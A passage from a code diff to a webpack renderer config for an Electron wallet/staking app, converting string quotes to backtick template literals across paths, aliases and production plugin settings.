path.resolve(__dirname, `app/node_modules`) : false, styles: stylus( - fs.readFileSync("./app/src/renderer/styles/index.styl", "utf8") + fs.readFileSync(`./app/src/renderer/styles/index.styl`, `utf8`) ) - .import("./app/src/renderer/styles/variables.styl") + .import(`./app/src/renderer/styles/variables.styl`) .render() }), new webpack.NoEmitOnErrorsPlugin(), @@ -98,44 +98,44 @@ let rendererConfig = { new webpack.IgnorePlugin(/(bufferutil|utf-8-validate)/), // put all modules in node_modules in chunk new webpack.optimize.CommonsChunkPlugin({ - name: "vendor" + name: `vendor` }) ], output: { - filename: "[name].js", - libraryTarget: "commonjs2", - path: path.join(__dirname, "app/dist") + filename: `[name].js`, + libraryTarget: `commonjs2`, + path: path.join(__dirname, `app/dist`) }, resolve: { alias: { - renderer: resolve("app/src/renderer"), - "@": resolve("app/src/renderer"), - assets: resolve("app/src/renderer/assets"), - scripts: resolve("app/src/renderer/scripts"), - common: resolve("app/src/renderer/components/common"), - govern: resolve("app/src/renderer/components/govern"), - staking: resolve("app/src/renderer/components/staking"), - wallet: resolve("app/src/renderer/components/wallet"), - variables: resolve("app/src/renderer/styles/variables.styl") + renderer: resolve(`app/src/renderer`), + "@": resolve(`app/src/renderer`), + assets: resolve(`app/src/renderer/assets`), + scripts: resolve(`app/src/renderer/scripts`), + common: resolve(`app/src/renderer/components/common`), + govern: resolve(`app/src/renderer/components/govern`), + staking: resolve(`app/src/renderer/components/staking`), + wallet: resolve(`app/src/renderer/components/wallet`), + variables: resolve(`app/src/renderer/styles/variables.styl`) }, - extensions: [".js", ".vue", ".json", ".css", ".node", ".styl"], + extensions: [`.js`, `.vue`, `.json`, `.css`, `.node`, `.styl`], modules: [ - path.join(__dirname, "app/node_modules"), - path.join(__dirname, "node_modules") + path.join(__dirname, `app/node_modules`), + path.join(__dirname, `node_modules`) ] }, - target: "electron-renderer" + target: `electron-renderer` } /** * Adjust rendererConfig for production settings */ -if (process.env.NODE_ENV === "production") { - rendererConfig.devtool = "" +if (process.env.NODE_ENV === `production`) { + rendererConfig.devtool = `` rendererConfig.plugins.push( new webpack.DefinePlugin({ - "process.env.NODE_ENV": '"production"' + "process.env.NODE_ENV": `"production"` }), new webpack.LoaderOptionsPlugin({ minimize: true